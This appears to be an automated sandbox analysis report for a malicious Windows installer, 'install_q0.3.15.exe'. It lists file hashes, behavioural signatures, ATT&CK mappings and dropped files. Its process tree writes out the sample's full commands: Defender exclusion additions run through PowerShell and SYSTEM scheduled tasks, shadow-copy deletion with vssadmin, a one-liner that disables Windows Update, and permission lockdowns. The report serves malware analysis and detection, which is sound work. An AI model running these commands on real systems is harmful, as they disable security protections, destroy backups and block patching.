Analysis
- max time kernel
150s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/08/2026, 23:20
Static task
static1
Behavioral task
behavioral1
Sample
install_q0.3.15.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_q0.3.15.exe
Resource
win11ltsc2024-20260709-en
General
- Target install_q0.3.15.exe
- Size 25.8MB
- Sample260830-3blc6adg96
- SHA256 718c04c19a1fe1fb74d1dfc165b812da7ab6bbc894958e6b923d62e6ed078537
- MD5 d3cf06ee2faa5c1c0a5dbfe8016e30e3
- SHA1 c8eed177c95d50e5bfac7993f820f9550e378b28
- SHA512 c009cd7c68a7292a2f2d9b3a929573a3325a12542cfb3a68e3aa32a89c8fe55fc1baa9e588a2918b604dc300f06fa9bf2899e32b314008f9427a5435ccdb5aac
- SSDEEP 49152:VudCDvwT4vMN0GUX+UPhsVEFAt8D4ak1t2J++32xobI8iR1aoPnMB9CfZ1Cy988d:Tvq0nXhSaF5MxcNafMHW+EnzYP1o
- TLSH T14157094EB7478DD3F9095638499687E433B3ECB08A5647033298B32D6FBF2885DA7581
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\QertUl = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4196 powershell.exe - Disables service(s) 3 TTPs
- Executes dropped EXE 2 IoCs
pid Process 2636 ps1wyX.exe 4360 ps1wyX.exe - Loads dropped DLL 2 IoCs
pid Process 2636 ps1wyX.exe 4360 ps1wyX.exe - Modifies file permissions 1 TTPs 5 IoCs
pid Process 1040 icacls.exe 476 icacls.exe 4544 icacls.exe 704 icacls.exe 4316 icacls.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\QertUl\\ps1wyX.exe\"" ps1wyX.exe - Indicator Removal: Clear Persistence 1 TTPs 6 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1076 cmd.exe 2608 cmd.exe 3984 cmd.exe 3356 cmd.exe 2444 cmd.exe 3264 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b ps1wyX.exe - Drops file in Program Files directory 9 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\2vI8Wh\XPSPLOG.dll ps1wyX.exe File opened for modification C:\Program Files (x86)\2vI8Wh\image.png ps1wyX.exe File created C:\Program Files (x86)\2vI8Wh\XPSPLOG.dll ps1wyX.exe File created C:\Program Files (x86)\2vI8Wh\thumbs.db ps1wyX.exe File opened for modification C:\Program Files (x86)\2vI8Wh\p9T3z4.exe ps1wyX.exe File opened for modification C:\Program Files (x86)\2vI8Wh\thumbs.db ps1wyX.exe File opened for modification C:\Program Files (x86)\2vI8Wh ps1wyX.exe File created C:\Program Files (x86)\2vI8Wh\p9T3z4.exe ps1wyX.exe File created C:\Program Files (x86)\2vI8Wh\image.png ps1wyX.exe - Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1168 sc.exe 1896 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 13 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3704 cmd.exe 4552 cmd.exe 856 cmd.exe 4912 cmd.exe 6120 cmd.exe 5664 cmd.exe 4692 cmd.exe 2044 cmd.exe 5096 cmd.exe 1056 cmd.exe 2424 cmd.exe 5900 cmd.exe 5636 cmd.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5176 schtasks.exe 1428 schtasks.exe 6140 schtasks.exe 996 schtasks.exe 4212 schtasks.exe 4900 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2956 install_q0.3.15.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe 2636 ps1wyX.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found - Suspicious use of AdjustPrivilegeToken 22 IoCs
description pid Process Token: SeDebugPrivilege 4196 powershell.exe Token: SeIncreaseQuotaPrivilege 4196 powershell.exe Token: SeSecurityPrivilege 4196 powershell.exe Token: SeTakeOwnershipPrivilege 4196 powershell.exe Token: SeLoadDriverPrivilege 4196 powershell.exe Token: SeSystemProfilePrivilege 4196 powershell.exe Token: SeSystemtimePrivilege 4196 powershell.exe Token: SeProfSingleProcessPrivilege 4196 powershell.exe Token: SeIncBasePriorityPrivilege 4196 powershell.exe Token: SeCreatePagefilePrivilege 4196 powershell.exe Token: SeBackupPrivilege 4196 powershell.exe Token: SeRestorePrivilege 4196 powershell.exe Token: SeShutdownPrivilege 4196 powershell.exe Token: SeDebugPrivilege 4196 powershell.exe Token: SeSystemEnvironmentPrivilege 4196 powershell.exe Token: SeRemoteShutdownPrivilege 4196 powershell.exe Token: SeUndockPrivilege 4196 powershell.exe Token: SeManageVolumePrivilege 4196 powershell.exe Token: 33 4196 powershell.exe Token: 34 4196 powershell.exe Token: 35 4196 powershell.exe Token: 36 4196 powershell.exe - Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 2636 wrote to memory of 4196 2636 ps1wyX.exe 91 PID 2636 wrote to memory of 2444 2636 ps1wyX.exe 93 PID 2444 wrote to memory of 5176 2444 cmd.exe 95 PID 2444 wrote to memory of 4896 2444 cmd.exe 98 PID 2444 wrote to memory of 5256 2444 cmd.exe 101 PID 2636 wrote to memory of 3264 2636 ps1wyX.exe 103 PID 3264 wrote to memory of 1428 3264 cmd.exe 105 PID 2636 wrote to memory of 1076 2636 ps1wyX.exe 106 PID 3264 wrote to memory of 4316 3264 cmd.exe 108 PID 1076 wrote to memory of 6140 1076 cmd.exe 111 PID 3264 wrote to memory of 4900 3264 cmd.exe 110 PID 1076 wrote to memory of 2220 1076 cmd.exe 112 PID 2636 wrote to memory of 2608 2636 ps1wyX.exe 117 PID 1076 wrote to memory of 2792 1076 cmd.exe 119 PID 2608 wrote to memory of 996 2608 cmd.exe 120 PID 2608 wrote to memory of 5852 2608 cmd.exe 121 PID 2608 wrote to memory of 2576 2608 cmd.exe 123 PID 2636 wrote to memory of 3984 2636 ps1wyX.exe 125 PID 3984 wrote to memory of 4212 3984 cmd.exe 127 PID 3984 wrote to memory of 5100 3984 cmd.exe 128 PID 3984 wrote to memory of 3676 3984 cmd.exe 130 PID 1056 wrote to memory of 628 1056 cmd.exe 133 PID 5900 wrote to memory of 1440 5900 cmd.exe 134 PID 2424 wrote to memory of 2616 2424 cmd.exe 135 PID 5636 wrote to memory of 4856 5636 cmd.exe 136 PID 6120 wrote to memory of 5384 6120 cmd.exe 137 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\install_q0.3.15.exe"C:\Users\Admin\AppData\Local\Temp\install_q0.3.15.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2956
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C:\Users\Public\QertUl\ps1wyX.exe"C:\Users\Public\QertUl\ps1wyX.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:4196
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QertUl\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\QertUl\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5176
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4896
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5256
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3264 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1428
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4316
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4900
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:6140
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2220
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2792
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:996
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5852
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2576
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3984 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4212
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5100
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3676
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C:\Program Files (x86)\2vI8Wh\p9T3z4.exe"C:\Program Files (x86)\2vI8Wh\p9T3z4.exe"2⤵PID:1140
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C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet3⤵
- Executes a command shell one-liner
PID:3704
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\2vI8Wh" /inheritance:r3⤵
- Executes a command shell one-liner
PID:4552 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\2vI8Wh" /inheritance:r4⤵
- Modifies file permissions
PID:704
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:856
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:5664
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini3⤵
- Executes a command shell one-liner
PID:4912
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\2vI8Wh\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
PID:3356 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\2vI8Wh\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:4900
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:4972
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"3⤵
- Executes a command shell one-liner
PID:4692 -
C:\Windows\SysWOW64\net.exenet stop wuauserv4⤵PID:6080
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv5⤵PID:2856
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
PID:1168
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C:\Windows\SysWOW64\sc.exesc failure wuauserv reset= 0 actions= ""4⤵
- Launches sc.exe
PID:1896
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C:\Windows\SysWOW64\net.exenet stop uhssvc4⤵PID:1228
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\2vI8Wh" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Executes a command shell one-liner
PID:2044 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\2vI8Wh" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Modifies file permissions
PID:4316
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\2vI8Wh" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)3⤵
- Executes a command shell one-liner
PID:5096
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QertUl" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\QertUl" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:628
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C:\Users\Public\QertUl\ps1wyX.exe"C:\Users\Public\QertUl\ps1wyX.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4360
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C:\Windows\system32\cmd.execmd.exe1⤵PID:2120
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2424 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2616
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6120 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:5384
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5900 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:1440
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5636 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4856
-
-
C:\Program Files (x86)\2vI8Wh\p9T3z4.exe"C:\Program Files (x86)\2vI8Wh\p9T3z4.exe"1⤵PID:1804
-
C:\Program Files (x86)\2vI8Wh\p9T3z4.exe"C:\Program Files (x86)\2vI8Wh\p9T3z4.exe"1⤵PID:4636
-
C:\Program Files (x86)\v9U3uvjI5\7moiZFK.exe"C:\Program Files (x86)\v9U3uvjI5\7moiZFK.exe"1⤵PID:2084
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UsoSvc1⤵PID:5852
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\2vI8Wh\p9T3z4.exe" /inheritance:r1⤵
- Modifies file permissions
PID:1040
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\2vI8Wh\p9T3z4.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F1⤵
- Modifies file permissions
PID:476
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\2vI8Wh\p9T3z4.exe" /grant:r Users:(RX) /deny Users:(DE)1⤵
- Modifies file permissions
PID:4544
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WaaSMedicSvc1⤵PID:3748
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Program Files (x86)\2vI8Wh\XPSPLOG.dll
- Size 4.6MB
- SHA256 27b2cf0631a557c2485ed96a26852d5276fe28fbe2d55eff72ef366831fc8f93
- MD5 0f463402deb45c14be32c83bb46c1cad
- SHA1 b40d9dccf67fe8d3ebc57aa73144b7a882ac4db4
- SHA512 e15c112db2767ea6cfbb8ca16867dcdd8580968929cc3f48119c7c3bab5353ad3e8ee8c59339053d6554b316442cf7619272bc26930f07d0b98ad761090d6883
- SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmya:BMWKfU+BcUTHCCCfqCiUffna
- TLSH T14B263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\2vI8Wh\image.png
- Size 5.0MB
- SHA256 2e4cced75bee88346b5ceb9e2684e293f958102254e6071c04d361d0748a0c76
- MD5 3c4581f2ebfe59a7f46300ed45be4b5e
- SHA1 3221e99606e2c110c0219d5b83898f671974f813
- SHA512 dc0fae5706e364b597c32458ccae78479bca3391bd4d4c3af57258b77ce484448e4fa69a77faf0c4a64c1ceceda1abf5402f900cecadc02a931e486522c3a9c4
- SSDEEP 98304:IFYrZdgzrNWII7jT4piZg5mNmtgJ+N2T4+C0l7ETp1qM/a6kX6aVmtK:tRIUjDgAk+jkn/IXhVaK
- TLSH T1843633605F0EE7EA8F3B6FEAA22B74C974895BDDC99C44054D76DC6D4DB8240B4208EC
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\2vI8Wh\p9T3z4.exe
- Size 145KB
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- TLSH T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\2vI8Wh\thumbs.db
- Size 358KB
- SHA256 04dd9a13fb6a0354e6e8c96df13880720b8d8ad87c403c48ff480d7bd1d0408d
- MD5 00b27c3d83e86fd0335e75cfee9ab436
- SHA1 cabef673177c70f4a2086114cc84e0c34f255c17
- SHA512 a6621ae9093a4d2f47b5600464485ea0276b86d05ef9f1d10d8208a4eac999dd0103bac4573f0342e88fc44a93e8f1f9f114bbb90676c9acfe579f6c5dc4a115
- SSDEEP 6144:+iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:x8u69CghoQxoMTFQqtKFCz7mb/
- TLSH T1DF74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\v9U3uvjI5\XPSPLOG.dll
- Size 3.6MB
